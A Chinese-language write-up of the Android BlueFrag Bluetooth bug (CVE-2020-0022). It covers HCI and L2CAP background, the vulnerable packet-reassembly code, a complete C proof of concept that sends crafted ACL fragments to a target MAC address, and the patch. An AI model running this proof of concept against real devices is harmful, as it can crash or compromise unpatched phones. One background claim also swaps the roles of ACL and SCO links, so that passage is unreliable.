1 漏洞背景
CVE-2020-0022漏洞又称BlueFrag, 被评为严重漏洞, 该漏洞是出现在Bluedroid蓝牙协议的HCI层, 在Android8.0-9.0中可以RCE, Android10中可以DoS.
2 术语介绍
2.1 HCI协议
HCI(Host Control Interface)层位于蓝牙协议高层协议和底层协议之间, 为高层应用提供了一个统一访问HCI控制器的接口. 如下图:
HCI通过包的形式对传送的数据进行分片,分片后有三种包格式分别为: 命令包/数据包/事件包. 而数据包又分为两类: 异步无连接(ACL, Asynchronous Connectionless)和同步定向连接(SCO, Synchronous Connection Oriented). 前者主要用于同步语音传送(包括音乐等), 后者主要用于分组数据传送. 该漏洞发生在ACL连接, 所以这里只针对ACL展开解释.
ACL链路是定向发送数据包,它既支持对称连接,也支持不对称连接(既可以一对一,也可以一对多). 主设备负责控制链路带宽, 并决定每个从设备可以占用多少带宽和连接的对称性, 从设备只有被选中时才能传送数据. ACL链路也支持接收主设备发给所有从设备的广播消息. 包中每个字段的说明如下:
字段 | 说明 |
---|---|
Handle | Connection_Handle用于在主控制器上传输数据包或段 |
PB Flag | 包边界和适应范围 |
BC Flag | 广播标志 |
Data Total Length | 以八位位组为单位的数据长度,包含高层协议data. |
2.2 L2CAP协议
逻辑链路控制和适配协议(L2CAP, Logical Link Control and Adaptation Protocol), 位于HCI层之上, HCI适配层就是将L2CAP的包转化为ACL包, 其数据包格式如下:
数据包每个字段说明如下:
字段 | 说明 |
---|---|
Length | 2字节,表示信息有效负载的大小,不包括长度L2CAP头 |
Channel ID(CID) | 2字节,用于标识目的信道的终端。通道ID的范围与正在发送数据包的设备相关 |
Information(Payload) | 信息负载,长度为0到65535字节 |
2.3 分段和重组
分段(Fragmentation)是将L2CAP数据包切割成较小的部分, 供下层链路处理, 如L2CAP转ACL数据包; 重组(Reassembly)是将下层链路数据包合并为较大的数据包, 以供上层应用接收, 如ACL转L2CAP数据包.
3 漏洞原理
以Oreo8.1为例, 该漏洞位于/system/bt/hci/src/packet_fragmenter.cc的reassemble_and_dispatch函数, 该函数是用于数据包分片的重组.
static void reassemble_and_dispatch(UNUSED_ATTR BT_HDR* packet) {
if ((packet->event & MSG_EVT_MASK) == MSG_HC_TO_STACK_HCI_ACL) {
uint8_t* stream = packet->data;
uint16_t handle;
uint16_t l2cap_length;
uint16_t acl_length;
// 获取handle, 和acl/l2cap数据段的长度
STREAM_TO_UINT16(handle, stream);
STREAM_TO_UINT16(acl_length, stream);
STREAM_TO_UINT16(l2cap_length, stream);
CHECK(acl_length == packet->len - HCI_ACL_PREAMBLE_SIZE);
// 获取packet boundary的标志位
uint8_t boundary_flag = GET_BOUNDARY_FLAG(handle);
handle = handle & HANDLE_MASK;
// 如果PB_Flag标志位表明是第一个ACL包, 则继续解析
if (boundary_flag == START_PACKET_BOUNDARY) {
// 通过全局的map, 判断当前的packet是否已经被处理过
auto map_iter = partial_packets.find(handle);
if (map_iter != partial_packets.end()) {
LOG_WARN(LOG_TAG,
"%s found unfinished packet for handle with start packet. "
"Dropping old.",
__func__);
BT_HDR* hdl = map_iter->second;
partial_packets.erase(map_iter);
buffer_allocator->free(hdl);
}
// 判断L2CAP数据包的长度是否正常
if (acl_length < L2CAP_HEADER_SIZE) {
LOG_WARN(LOG_TAG, "%s L2CAP packet too small (%d < %d). Dropping it.",
__func__, packet->len, L2CAP_HEADER_SIZE);
buffer_allocator->free(packet);
return;
}
// 计算完整的L2CAP数据包的长度, 包括: l2cap的payload长度, 数据包头部长度和HCI头部长度
uint16_t full_length =
l2cap_length + L2CAP_HEADER_SIZE + HCI_ACL_PREAMBLE_SIZE;
// Check for buffer overflow and that the full packet size + BT_HDR size
// is less than the max buffer size
if (check_uint16_overflow(l2cap_length,
(L2CAP_HEADER_SIZE + HCI_ACL_PREAMBLE_SIZE)) ||
((full_length + sizeof(BT_HDR)) > BT_DEFAULT_BUFFER_SIZE)) {
LOG_ERROR(LOG_TAG, "%s Dropping L2CAP packet with invalid length (%d).",
__func__, l2cap_length);
buffer_allocator->free(packet);
return;
}
// 判断当前l2cap头包中是否还有续包, 如果没有则直接调用reassembled函数解析package并返回.
if (full_length <= packet->len) {
if (full_length < packet->len)
LOG_WARN(LOG_TAG,
"%s found l2cap full length %d less than the hci length %d.",
__func__, l2cap_length, packet->len);
callbacks->reassembled(packet);
return;
}
// 如果还有续包, 则重新分配一块新的内存用于packet中数据包的重组.
BT_HDR* partial_packet =
(BT_HDR*)buffer_allocator->alloc(full_length + sizeof(BT_HDR));
partial_packet->event = packet->event;
partial_packet->len = full_length;
partial_packet->offset = packet->len;
memcpy(partial_packet->data, packet->data, packet->len);
// Update the ACL data size to indicate the full expected length
stream = partial_packet->data;
STREAM_SKIP_UINT16(stream); // skip the handle
UINT16_TO_STREAM(stream, full_length - HCI_ACL_PREAMBLE_SIZE);
// 根据handle将l2cap存到全局的map中
partial_packets[handle] = partial_packet;
// Free the old packet buffer, since we don't need it anymore
buffer_allocator->free(packet);
} else { // 如果该包不为首包, 则进入这个分支
// 判断后续packet是否属于本次链路的, 如果不属于则直接返回
auto map_iter = partial_packets.find(handle);
if (map_iter == partial_packets.end()) {
LOG_WARN(LOG_TAG,
"%s got continuation for unknown packet. Dropping it.",
__func__);
buffer_allocator->free(packet);
return;
}
// 获取前一轮生成的partial_packet
BT_HDR* partial_packet = map_iter->second;
packet->offset = HCI_ACL_PREAMBLE_SIZE; // 4bytes
uint16_t projected_offset =
partial_packet->offset + (packet->len - HCI_ACL_PREAMBLE_SIZE);
if (projected_offset >
partial_packet->len) { // len stores the expected length
LOG_WARN(LOG_TAG,
"%s got packet which would exceed expected length of %d. "
"Truncating.",
__func__, partial_packet->len);
packet->len = partial_packet->len - partial_packet->offset;
projected_offset = partial_packet->len;
}
// 漏洞点
memcpy(partial_packet->data + partial_packet->offset,
packet->data + packet->offset, packet->len - packet->offset);
// Free the old packet buffer, since we don't need it anymore
buffer_allocator->free(packet);
partial_packet->offset = projected_offset;
if (partial_packet->offset == partial_packet->len) {
partial_packets.erase(handle);
partial_packet->offset = 0;
callbacks->reassembled(partial_packet);
}
}
} else {
callbacks->reassembled(packet);
}
}
漏洞点主要位于下面代码:
if (projected_offset >
partial_packet->len) { // len stores the expected length
LOG_WARN(LOG_TAG,
"%s got packet which would exceed expected length of %d. "
"Truncating.",
__func__, partial_packet->len);
// 相减可能使packet->len小于4byte
packet->len = partial_packet->len - partial_packet->offset;
projected_offset = partial_packet->len;
}
// 漏洞点
memcpy(partial_packet->data + partial_packet->offset,
packet->data + packet->offset, packet->len - packet->offset);
memcpy
将ACL的packet->data
copy到L2CAP的partial_packet->data
中, 源地址指针和目的地址指针都没有问题, memcpy
的第三个参数, 即内存拷贝的长度有问题, packet->len
长度可能小于packet->offset
, 即可能小于4byte, 则packet->len - packet->offset
相减为负数, 而memcpy第三个参数是无符号整型(size_t
型), 则负数被视为一个很大的整数, 由整数溢出造成堆溢出.
4 POC
/*
* gcc -lbluetooth poc.c -o poc
* sudo ./poc MAC_ADDR
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
int hci_send_acl_data(int hci_socket, uint16_t hci_handle, uint8_t *data, uint16_t data_length,uint16_t, uint16_t);
int main(int argc,char **argv) {
bdaddr_t dst_addr;
if (argc != 2){
printf("usage: ./poc MAC_ADDR");
exit(1);
}
str2ba(argv[1], &dst_addr);
struct hci_dev_info di;
// Get HCI Socket
printf("\nCreating HCI socket...\n");
int hci_device_id = hci_get_route(NULL);
int hci_socket = hci_open_dev(hci_device_id);
if(hci_devinfo(hci_device_id,&di)< 0){
perror("devinfo");
exit(1);
}
uint16_t hci_handle;
// -------- L2CAP Socket --------
// local addr
struct l2cap_conninfo l2_conninfo;
int l2_sock;
struct sockaddr_l2 laddr, raddr;
laddr.l2_family = AF_BLUETOOTH;
laddr.l2_bdaddr = di.bdaddr;
laddr.l2_psm = htobs(0x1001);
laddr.l2_cid = htobs(0x0040);
// remote addr
memset(&raddr, 0, sizeof(raddr));
raddr.l2_family = AF_BLUETOOTH;
raddr.l2_bdaddr = dst_addr;
// create socket
printf("\nCreating l2cap socket...\n");
if ((l2_sock = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP)) < 0){
perror("create l2cap socket");
exit(1);
}
// bind and connect
bind(l2_sock, (struct sockaddr *)&laddr, sizeof(laddr));
if(connect(l2_sock, (struct sockaddr *)&raddr, sizeof(raddr))<0){
perror("connect");
exit(1);
}
socklen_t l2_conninfolen = sizeof(l2_conninfo);
getsockopt(l2_sock, SOL_L2CAP, L2CAP_CONNINFO, &l2_conninfo, &l2_conninfolen);
hci_handle = l2_conninfo.hci_handle;
printf("fuck%d", hci_handle);
// -------- L2CAP Socket --------
// HCI Connect
printf("\nCreating a HCI BLE connection...\n");
printf("\nPrepare to send packet\n");
uint16_t datalen = 33;
uint16_t _bs_l2cap_len = htobs(datalen);
uint16_t _bs_cid = htobs(0x0001);
uint8_t packet[4 + datalen + 0x1000];
memcpy(&packet[0],&_bs_l2cap_len,2);
memcpy(&packet[2],&_bs_cid,2);
memset(&packet[4], 0x99, datalen+0x1000);
int fl = 36;
int i =0 ;
hci_send_acl_data(hci_socket, hci_handle, &packet[i] , fl,0x2, fl );
i+=fl;
printf("\nSent fisrt packet\n");
hci_send_acl_data(hci_socket, hci_handle, &packet[i] , 300,0x1, 300);
printf("\nClosing HCI socket...\n");
close(hci_socket);
printf("\nClosing l2cap socket...\n");
close(l2_sock);
return 0;
}
int hci_send_acl_data(int hci_socket, uint16_t hci_handle, uint8_t *data, uint16_t data_length, uint16_t PBflag, uint16_t dlen){
uint8_t type = HCI_ACLDATA_PKT;
uint16_t BCflag = 0x0000; // Broadcast flag
//uint16_t PBflag = 0x0002; // Packet Boundary flag
uint16_t flags = ((BCflag << 2) | PBflag) & 0x000F;
hci_acl_hdr hd;
hd.handle = htobs(acl_handle_pack(hci_handle, flags));
//hd.dlen = (data_length);
hd.dlen = dlen;
struct iovec iv[3];
int ivn = 3;
iv[0].iov_base = &type; // Type of operation
iv[0].iov_len = 1; // Size of ACL operation flag
iv[1].iov_base = &hd; // Handle info + flags
iv[1].iov_len = HCI_ACL_HDR_SIZE; // L2CAP header length + data length
iv[2].iov_base = data; // L2CAP header + data
iv[2].iov_len = (data_length); // L2CAP header length + data length
while (writev(hci_socket, iv, ivn) < 0) {
if (errno == EAGAIN || errno == EINTR)
continue;
perror("writev");
return -1;
}
return 0;
}
5 Patch
@@ -221,7 +221,8 @@
"%s got packet which would exceed expected length of %d. "
"Truncating.",
__func__, partial_packet->len);
- packet->len = partial_packet->len - partial_packet->offset;
+ packet->len =
+ (partial_packet->len - partial_packet->offset) + packet->offset;
projected_offset = partial_packet->len;
}
6 参考链接
6.1 漏洞相关
- seebug分析
- GitHub-POC
- CVE官网
- Patch地址
6.2 协议相关:
- 蓝牙核心技术概述(四):蓝牙协议规范(HCI、L2CAP、SDP、RFOCMM)
- Bluetooth L2CAP介绍
- 蓝牙学习笔记之HCI协议(一)
6.3 源码下载
git clone https://android.googlesource.com/platform/system/bt
git reset --hard 3cb7149d8fed2d7d77ceaa95bf845224c4db3baf